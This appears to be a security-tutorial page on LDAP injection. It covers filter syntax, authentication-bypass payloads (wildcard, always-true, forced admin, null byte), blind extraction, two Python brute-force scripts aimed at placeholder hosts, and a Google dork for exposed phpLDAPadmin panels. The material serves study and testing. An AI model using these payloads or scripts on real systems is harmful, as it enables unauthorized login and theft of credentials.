LDAP Injection

Basic info

LDAP (Lightweight Directory Access Protocol) Injection is a security vulnerability that occurs when user input is improperly sanitized before being used in LDAP queries. Attackers can exploit this vulnerability to bypass authentication, extract sensitive data, or escalate privileges.

LDAP is used to manage and query directory services, such as Active Directory. A typical LDAP query looks like this:

(&(uid=USERNAME)(password=PASSWORD))

If the application fails to properly sanitize user input, an attacker can manipulate the query to gain unauthorized access or extract sensitive information.

LDAP

If you want to know what is LDAP access the following page:


Understanding LDAP Filters

LDAP (Lightweight Directory Access Protocol) uses filters to search for objects within a directory. These filters follow a specific syntax and can be manipulated to bypass authentication or extract information.

LDAP Filter Syntax

A basic LDAP filter follows this structure:

Filter = ( filtercomp )
filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr "=" [initial] * [final]
Initial = assertionvalue
Final = assertionvalue

Logical Operators:

  • (&) = Absolute TRUE

  • (|) = Absolute FALSE

Examples:

(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

LDAP Behavior Across Different Implementations

Different directory servers handle LDAP filters differently:

  • OpenLDAP: If multiple filters arrive, only the first one is executed.

  • ADAM / Microsoft LDS: Throws an error when multiple filters are sent.

  • SunOne Directory Server 5.0: Executes both filters.

It is crucial to use proper syntax when sending LDAP queries to avoid errors. A filter should always start with & or |.

Example:

(&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))

LDAP Injection for Authentication Bypass

LDAP supports various password storage formats, including plaintext, MD5, SHA, and crypt. If passwords are hashed, direct injection of credentials may not work, but filters can still be manipulated.

Injection Examples

1. Wildcard Authentication Bypass

user=*
password=*
--> (&(user=*)(password=*))

Using * as a wildcard allows authentication with any user/password combination.

2. Injecting Boolean Logic to Always Return True

user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))

This forces a query that evaluates to TRUE, bypassing authentication.

3. Forced Admin Login

username=admin)(!(&(|
pass=any))
--> (&(uid=admin)(!(&(|)(webpassword=any))))

Since (|) is always FALSE, the password check is bypassed.

4. Null Injection to Terminate Queries

user=*))%00
pass=any
--> (&(user=*))%00

Adding %00 (null byte) prematurely terminates the query, potentially bypassing authentication checks.

Blind LDAP Injection

Boolean-Based Blind Injection

By forcing TRUE/FALSE responses, attackers can infer the existence of valid users:

Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))

If the object exists, information is retrieved. Otherwise, no data is returned.

Extracting Data Character by Character

By iterating through ASCII characters, attackers can brute-force credentials or other sensitive attributes.

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO

Automating LDAP Exploitation

Discovering Valid LDAP Attributes

A script can brute-force attribute names to extract available fields:

#!/usr/bin/python3
import requests
import string

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["cn", "mail", "uid", "userPassword", "sn"]

for attribute in attributes:
    value = ""
    finish = False
    while not finish:
        for char in alphabet:
            query = f"*)({attribute}={value}{char}*"
            data = {'login': query, 'password': 'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]:
                finish = True
                print()

Blind Injection Without Wildcards

If * is blacklisted, a character-by-character brute-force method can be used:

#!/usr/bin/python3
import requests, string

alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
    for char in alphabet:
        r = requests.get(f"http://ctf.web??action=dir&search=admin*)(password={flag}{char}")
        if "TRUE CONDITION" in r.text:
            flag += char
            print("[+] Flag: " + flag)
            break

Finding Vulnerable Applications with Google Dorks

Attackers can use search queries to find exposed LDAP management interfaces:

intitle:"phpLDAPadmin" inurl:cmd.php

LDAP Injection is a critical vulnerability that allows attackers to manipulate directory queries, bypass authentication, and extract sensitive data. Proper input validation, escaping special characters, and enforcing least privilege access controls are essential to mitigating these attacks.

Lists


Last updated

Was this helpful?